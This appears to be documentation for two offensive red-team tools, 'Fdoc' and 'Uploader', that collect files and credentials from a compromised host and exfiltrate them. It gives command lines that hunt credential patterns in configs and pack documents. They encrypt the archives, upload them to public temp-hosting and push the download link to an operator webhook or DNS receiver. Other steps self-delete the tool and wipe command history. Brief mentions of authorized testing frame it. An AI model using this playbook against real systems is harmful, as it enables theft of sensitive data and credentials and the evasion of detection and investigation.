When you land on a host (or only have a short-lived shell), the goal is rarely a full disk image. More often you need to filter a subset of files, pack them into a size-bounded archive, and get the result back to the operator side quickly.

1. Use cases

Typical needs include:

• Type filtering: only certain types—contracts/report PDFs, Office files, configs, archives, recently modified documents
• Stacked conditions: names containing password/password-book, content matching credential patterns (via -keyword secrets), mtime after a given day
• Size and time limits: cannot blindly pack tens of GB, and cannot linger on the target
• Result callback: packing is not enough—files stay on the target; you still need the download URL back on the operator side, even if the parent process/C2 dies
• Footprint control: after transfer, avoid leaving the archive and the tool itself on disk

A concrete playbook: right after initial access, run a short collection pass—filter sensitive configs, documents, spreadsheets, and source by extension/name/keyword into an archive, exfil to a local analysis box. The pack often yields network maps, password books, credential sheets, and ops manuals that support lateral movement—without slowly browsing the disk on target.

Red-team exfil, pulling key evidence in IR, or ops “only grab this directory/file class”—all are selective exfil, not backup, not full-disk forensics.

Fdoc is built for that: filter on target, pack, (optionally) upload, (optionally) callback the URL to a receiver, (optionally) scrub.

2. Pain points addressed

In one line:

Under the constraint of “short dwell time, only some files, and still get results home,” Fdoc folds filter, pack, exfil, and callback into one scriptable command chain.

3. Pipeline

Main path:

Parse flags → Walk from -d → filter by rules → stream-write .tgz → (optional) encrypt and upload to temp hosting → (optional) webhook/DNS callback URL → (optional) scrub

Per file, filters are a fixed AND chain (unset items pass):

Skip -x dirs → regular file or followable file symlink → -e extension → -f name → -t date → -k/-keyword content → -max-file → whether total hits -max.

Commas inside one flag are OR. Example: -e pdf -f invoice -t 2024-01-01 requires all three; -keyword password:,token: matches either in content. Presets work too: -keyword secrets (alias creds) expands to assignment/JSON credential substrings. Details and preset tables: 4.1 Multi-condition filtering.

Size and exit behavior:

• Default soft cap: total budget counted by logical size, default 1GB; per-file -max-file off by default (0)
• No explicit -max: hitting the budget fails immediately (exit 1) and asks you to set -max (or -max 0 to disable)—avoids silent truncation
• Explicit -max: truncate and keep what was packed (exit 2); if upload is on, the partial archive may still upload—“take what you can”
• Huge single files: add -max-file explicitly when you need to skip them

Without -upload, packing stays local and offline. With it, probe, upload, and callback kick in.

4. Features

4.1 Multi-condition filtering

Narrow the set by extension, name, content, date, and skip dirs; conditions are AND across flags, OR within a comma-separated flag. Rules: 3. Pipeline.

-e presets:

-keyword presets:

Examples:

Fdoc -d /data -e pdf -f invoice -keyword 'token:' -t 2025-01-01 -o hits.tgz
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz

Symlinks: on Unix/macOS, file symlinks are followed (content from target, archive path keeps the link path); directory symlinks are not entered. Windows .lnk is not resolved—only the shortcut file itself is packed when -e matches.

4.2 Stream pack with size budget

No full listing then compress—memory stays bounded. Use -size to estimate first. Long jobs emit PACK_PROGRESS / UPLOAD_PROGRESS heartbeats for headless use.

4.3 Built-in upload: auto-pick temp backends by size

With -upload, backends are filtered by archive size, probed in parallel, and failed over by latency; pin one with -b (demos often use -b lit). Full names and size caps: Fdoc backends. Without callback, the URL goes to stdout for scripting; status lines on stderr (UPLOAD_OK, etc.).

4.4 Callback decoupled from the session

With -webhook / -dns, the download URL is pushed to your receiver: HTTPS webhook first, DNSLog shards on failure. If the parent session dies, you may still recover the URL from the callback. stdout/stderr roles stay fixed so scripts and humans do not fight over output.

4.5 Optional pre-upload encryption

-encrypt -key: AES-256-CBC with UP01 magic; remote objects use .bin so they are not mistaken for plain gzip. Built-in Fdoc decrypt—no second tool. The key is a passphrase padded to 32 bytes (not PBKDF2); treat it as a shared-secret model.

4.6 Optional scrub

After a successful upload (and successful callback if configured), delete the archive and the binary itself. On Windows, self-delete is best-effort (delayed / reboot delete); failure yields SCRUB_PARTIAL and a non-zero exit.

4.7 Cross-platform static binary

Ships as dependency-free static singles for Linux / Windows / macOS (amd64 and arm64). Same flags across platforms; Windows scrub, SkipDirs, and .lnk behavior are covered above and in release notes.

5. Minimal examples

# Estimate size first when unsure
Fdoc -d /data -e documents -size

# Pack
Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz

# Hunt credential patterns in config/JSON
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz

# Upload; URL on stdout
Fdoc -d /data -o /tmp/docs.tgz -upload -q

# Encrypt + upload + webhook callback + scrub
Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz \
  -upload -encrypt -key "$KEY" \
  -webhook https://your.receiver/hook \
  -scrub -q

DNS shard format, encryption disk use, Windows SkipDirs, and related details: see the Fdoc README.

6. Terminal demos

Four clips cover the main path: size estimate → filtered pack → pinned-backend upload → upload with webhook callback.

C2 is designed for command control and lightweight interaction, not sustained large-file transfers. During authorized testing, bulk traffic can be moved to a temporary cloud upload service while C2 only sends commands and returns download links.

1. Why separate the data channel

Directly downloading large files over C2 creates four problems:

• Bandwidth contention: bulk transfers block command interaction and heartbeats.
• Reliability: sleep, jitter, timeouts, and weak resume support increase retransmission cost.
• Path overhead: encoding, chunking, pivots, SOCKS, and multiple hops add traffic, latency, and failure points.
• Infrastructure exposure: sustained high-volume traffic converges on the C2 server and affects other sessions on a shared Team Server.

The separated flow is:

1. Stage files or directories on the target
2. Upload from the target to a temporary storage service reachable from the current network
3. Return the download link over C2
4. Download the file from a separate testing environment

Control traffic stays on C2; large-file traffic follows target → upload service.

2. How Uploader handles the transfer

Uploader implements the multi-backend approach introduced by Mikubill/transfer. Its main functions are:

• backends: list backends, size limits, status, and URLs.
• probe: test reachability and latency from the current network.
• Automatic mode: filter backends by payload size, probe and sort by latency, then fail over on errors.
• Size preflight: reject a file or estimated directory size that exceeds a backend limit.
• Directory handling: create a temporary Deflate ZIP by default and remove it after upload; -r uploads files individually.
• Encryption: -e -k uses AES-256-CBC with a UP01 header, random IV, and ciphertext.
• Script-friendly output: -q writes only the successful link to stdout and errors to stderr.

Backend availability changes with both the service and the network. Treat uploader probe as the runtime source of truth.

3. Command examples

uploader -q ./evidence

Without -b, the sequence is: size filter → probe → latency order → failover. Directories are packed first; success prints one download link.

# Pin lit
uploader -q -b lit ./dump.zip

# Prefer lit but allow failover
uploader -q -b lit -auto ./dump.zip

# Upload directory files individually
uploader -q -r ./dir

# Encrypt before upload
uploader -q -e -k 'your-key' ./secret.bin

List and probe backends:

uploader backends
uploader probe
uploader probe temp lit gof -timeout 20

Exit codes are 0 for success, 1 for upload or configuration failure, and 2 for invalid arguments. -keep waits for keyboard input and is unsuitable for headless execution.

4. Limitations and checks

1. Confirm target egress, proxy, allowlists, and TLS inspection policy, then validate the path with a small file.
2. Public upload services may log sources, scan content, and enforce file-type, capacity, and retention limits. Confirm engagement requirements before use.
3. Directory mode writes a temporary ZIP to disk. Use -r or another transfer method if staging is not allowed.
4. AES-256-CBC provides content confidentiality only; it does not replace integrity verification or key management.
5. Filenames can disclose context. Use names without business meaning.
6. After download, remove temporary files, the binary, and command history, and retrieve data before the link expires.